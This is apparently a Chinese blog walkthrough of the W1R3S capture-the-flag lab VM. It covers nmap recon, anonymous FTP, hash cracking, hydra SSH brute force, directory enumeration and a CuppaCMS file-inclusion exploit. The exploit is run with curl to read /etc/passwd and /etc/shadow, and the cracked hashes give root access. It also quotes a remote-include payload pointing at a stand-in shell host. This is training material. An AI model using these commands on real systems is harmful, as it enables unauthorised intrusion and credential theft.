w1r3s-梦开始的地方

nmap扫描与分析

img

1
sudo nmap -sn x.x.x.0/24

-sn代表着不进行端口扫描,只打印可用的主机

在进行公网网络扫描时默认会发送以下四个请求

1、ICMP回显请求

2、端口443的TCPSYN请求

3、端口80的TCP-ACK

4、默认情况下的ICMP时间戳请求

非特权用户执行命令时,只会发送syn数据包到目标主机的80和443端口

特权用户扫描本地网络,,nmap使用的arp请求,不会发送上面四个请求,因为arp是数据链路层的数据包,没有其他协议的事情,和sudo arp-scan -l一样

img

扫描本地是使用nmap时也可以调用–send-ip,发送给ICMP时间戳请求,更可靠

在面对防火墙时,建议使用更高级的命令

端口扫描

1
sudo nmap -sT --min-rate 10000 -p- x.x.x.x -oA nmapscan/ports

默认是-sS,适用于快速扫描,-sT更准确,但是没有那么快,但是建议-sT

–min-rate 设置最小发送速率(封包/秒)

-p-指定全部端口

-oA o是输出 A是all,包括了nmap支持的三种格式

nmapscan/ports代表着nmap中建立的存储位置

img

报错的话直接在当前目录建立一个nmapscan目录就好

img

img

gnmap这种格式已经被淘汰了,处于历史遗留,在nmap中还保留着

nmap这种格式和在屏幕输出的一样

xml就不多说了

ls -liah 命令中,各选项的含义是:

  • l:显示详细的文件和目录信息。
  • i:显示每个文件的 inode 号码。
  • a:显示所有文件,包括以 . 开头的隐藏文件。
  • h:以人类可读的格式显示文件大小(如 KM 等)。

准备详细信息的扫描

1
grep open nmapscan/ports.nmap | awk -F'/' '{print $1}'

img

搜索有端口号的数据行,这个目的是解决开发端口比较多的时候很笨拙地去写

1
ports=$(grep open nmapscan/ports.nmap | awk -F'/' '{print $1}' | paste -sd ',') 

img

详细信息扫描(重要)

1
sudo nmap -sT -sV -sV -sC -O -p$ports 192.168.145.133 -oA nmapscan/detail

sT 指定以TCP进行扫描

-sV 扫描各服务的版本

-sC 使用默认的脚本进行扫描

-O 操作系统版本

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
┌──(kali㉿kali)-[~/Desktop]
└─$ sudo nmap -sT -sV -sV -sC -O -p$ports 192.168.145.133 -oA nmapscan/detail
Starting Nmap 7.93 ( https://nmap.org ) at 2024-03-07 09:45 EST
Nmap scan report for bogon (192.168.145.133)
Host is up (0.00084s latency).

PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:192.168.145.132
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 1
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| drwxr-xr-x 2 ftp ftp 4096 Jan 23 2018 content
| drwxr-xr-x 2 ftp ftp 4096 Jan 23 2018 docs
|_drwxr-xr-x 2 ftp ftp 4096 Jan 28 2018 new-employees
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 07e35a5cc81865b05f6ef775c77e11e0 (RSA)
| 256 03ab9aed0c9b32264413adb0b096c31e (ECDSA)
|_ 256 3d6dd24b46e8c9a349e09356222ee354 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.18 (Ubuntu)
3306/tcp open mysql MySQL (unauthorized)
MAC Address: 00:0C:29:D4:73:E1 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5.1
OS details: Linux 3.10 - 4.11, Linux 3.2 - 4.9, Linux 5.1
Network Distance: 1 hop
Service Info: Host: W1R3S.inc; OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.17 seconds

2端口,可以看到开启了ftp服务,应用的版本是vsftpd 2.0.8,d一般指驻留程序,可以实现匿名登录,并且有泄露的目录,可能有信息泄露

22开启了ssh服务,并且列出来ssh的主机密钥

80开启了http服务

3306/tcp open mysql MySQL (unauthorized),可能存在mysql未授权访问

UDP扫描

1
sudo nmap -sU --top-ports 20 192.168.145.133 -oA nmapscan/udp

脚本扫描

1
sudo nmap --script=vuln -p$ports 192.168.145.133 -oA nmapscan/vuln 

img

看结果没什么可利用的

小Tip

-sCnmap 中的一种快捷方式,它会启用一组默认的脚本,用于检查常见的漏洞和安全问题。

--script=vuln 则会只运行与漏洞有关的脚本进行扫描,更具体地说是专门检查漏洞的脚本,而不包括其他类型的脚本。

这四个扫描之后,基础的信息搜集就结束了

渗透阶段

fpt

连接

之前看到有个ftp服务可以匿名登陆,我们来尝试一波

img

fpt的匿名登陆账号密码都是填的anonymous

接下来我们切换到二进制模式,不然下载下来的文件很可能是坏的,这是是一个好习惯

img

输入binary切换到二进制模式

使用的命令可以用?来显示,使用方法和Linux很像

img

下载

尝试下载文件

prompt 把交互模式给去掉,这样子不用每一次都要点确认

mget *.txt 进行下载文件

img

img

把三个文件夹里的文件都下载下来

quit退出ftp

img

查看信息

1
01ec2d8fc11c493b25029fb1f47f39ce

这是什么加密算法呢?经验丰富的话可以直接识别出来,不能识别出来也没关系,kali中有工具可以帮助我们识别

img

可以看到大概率是个md5格式的数据,那内容是是什么呢?我们可以放到网站上,或者用kali爆破一下试试

img

把数据粘贴进去,然后进行john爆破

img

可以看出明文是这个

1
This is not a password

我们可以md5校验一下

img可以确定明文确实是这个

继续

1
SXQgaXMgZWFzeSwgYnV0IG5vdCB0aGF0IGVhc3kuLg==

这串数据是什么意思?

使用上面的hash-identifier并没有识别出来,这是因为basse64这种数据只能通过经验来判断,他并不是一个加密,而是一种编码

Tip

base64除了数字和大小写字母,剩下的特殊符号只有3个。
第一是看特殊字符,或者说是正则规则匹配
+ / = 0-9 a-z A-Z
确认没有其他特殊字符就可以尝试base64的解码
第二就是 = 只在文末出现,最多2个。原因是补足
第三就是一些特殊情况。稍微复杂一点,主要是针对短字符串,首先base64的字符串一定能被4整数。比如root可以被4整除,但它其实并不是base64编码,因为解码之后的ascii码不在32-126之间,会有乱码。所以这里的主要判断方法还是解码看有没有乱码。这里还有一个特例,就是长度为1的非base64的字符串解码是空。

base64主要功能是把3字节的二进制数据编码成4字节的文本数据,这样编码的好处是可以直接在邮件或者网页里面展示。上文说的补足就是补位的意思,把长度不足3位倍数的数据填补到3n的长度,解码的时候会自动去掉。
然后刚才说漏了一点,+在url里面也是特殊的。
给出我自己常用的编码解码base64字符串的方式
base64.b64encode(“aaa”)
base64.b64decode(“aaaa”)

1
echo "SXQgaXMgZWFzeSwgYnV0IG5vdCB0aGF0IGVhc3kuLg==" | base64 -d

img

img

可以看到并没有什么有价值的点

1
2
3
4
5
6
7
8
The W1R3S.inc employee list

Naomi.W - Manager
Hector.A - IT Dept
Joseph.G - Web Design
Albert.O - Web Design
Gina.L - Inventory
Rico.D - Human Resources

这是员工列表,暂时不知道有什么用

1
2
3
        ı pou,ʇ ʇɥıuʞ ʇɥıs ıs ʇɥǝ ʍɐʎ ʇo ɹooʇ¡

....punoɹɐ ƃuıʎɐןd doʇs ‘op oʇ ʞɹoʍ ɟo ʇoן ɐ ǝʌɐɥ ǝʍ

这是啥?前后上下翻转了

img

img

https://www.upsidedowntext.com/

没什么用的信息

ssh测试

img

根据之前ftp泄露信息构造user表

1
hydra -l user.list -P /usr/share/wordlists/rockyou.txt ssh://192.168.145.133 -t 3

运气好可以扫到密码

mysql测试

1
mysql -h 192.168.145.133 -u root -p

img

想看看有没有空密码,发现没有,爆破密码吗?这个行为最后在尝试,我们看一看其他端口

http测试

img

可以看到这是一个apache的默认页,会存在什么信息吗?简单浏览一下,并看源码和注释

源码中也没有什么有价值的信息

目录爆破

我们来探测一下他的目录吧

1
sudo gobuster dir -u http://192.168.145.133  --wordlist=/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt 

没有工具就用其他的或者apt install一下

这个字典是kali中自带的字典

img

一个个点开

img

看到一个页面开着,并且在访问http://192.168.145.133/wordpress/ 时会自动跳转到

img

我们可以修改一下host文件试试

1
sudo vim /etc/hosts

img

更改localhost前面的未目标机

img

改完还是这样

kali中好像不允许localhost指定非本机ip,那我们怎么办?可能需要对kali进行更深层次的调整,但是还有其他地方没有测试,我们先去测试其他地方

img

这是一个安装页面,点击next

看到配置信息

img

填写完整

img

漏洞搜索

看样子好像没有成功,我们来用searchsploit搜索一下它可能存在哪些漏洞

img

发现可能存在一个漏洞,我们来下载下来

img

img

看一看漏洞介绍

An attacker might include local or remote PHP files or read non-PHP files with this vulnerability. User tainted data is used when creating the file name that will be included into the current file. PHP code in this file will be evaluated, non-PHP code will be embedded to the output. This vulnerability can lead to full server compromise.

攻击者可能包含本地或远程 PHP 文件,或者读取具有此漏洞的非 PHP 文件。在创建将包含在当前文件中的文件名时,将使用用户污染的数据。将评估此文件中的 PHP 代码,非 PHP 代码将嵌入到输出中。此漏洞可能导致服务器完全受损。

我们按照漏洞介绍中的说明进行尝试性的文件包含

1
2
http://target/cuppa/alerts/alertConfigField.php?urlConfig=http://www.shell.com/shell.txt?
http://target/cuppa/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd

先本地包含一波

http://192.168.145.133/cuppa/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd

img

发现路径错误,我们来进行路径的构造

可能在administrator路径下吗?

http://192.168.145.133/administrator/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd

img

有反应了,但是看了下源码没说什么东西

太奇怪了,我们直接去网上搜源码看一下

https://github.com/CuppaCMS/CuppaCMS

img

exp中说实在这个文件的22行,但是我看了源码没找到,那里是样式文件,可能是版本不对?我们用关键字来搜一下试试

img

看到这里是用post方式进行请求

这里可以用burp或其它工具,但是我为了图方便直接使用curl进行测试

img

1
curl --data-urlencode 'urlConfig=../../../../../../../../../etc/passwd' http://192.168.145.133/administrator/alerts/alertConfigField.php

img

可以看到源码中存在passwd,已经包含成功了

我们都知道Linux中用户的hash都保存在shadow这个文件中,我们直接去读取这个文件

img

直接破解哈希

img

img

img

已经破解出来两个账号,我们直接连接看起来权限较高的那个

连接成功

img

img

有全部权限啊,直接拿下

img

结束


w1r3s-梦开始的地方
https://zzhnohikari.github.io/2024/03/08/w1r3s-梦开始的地方/
作者
John Doe
发布于
2024年3月8日
许可协议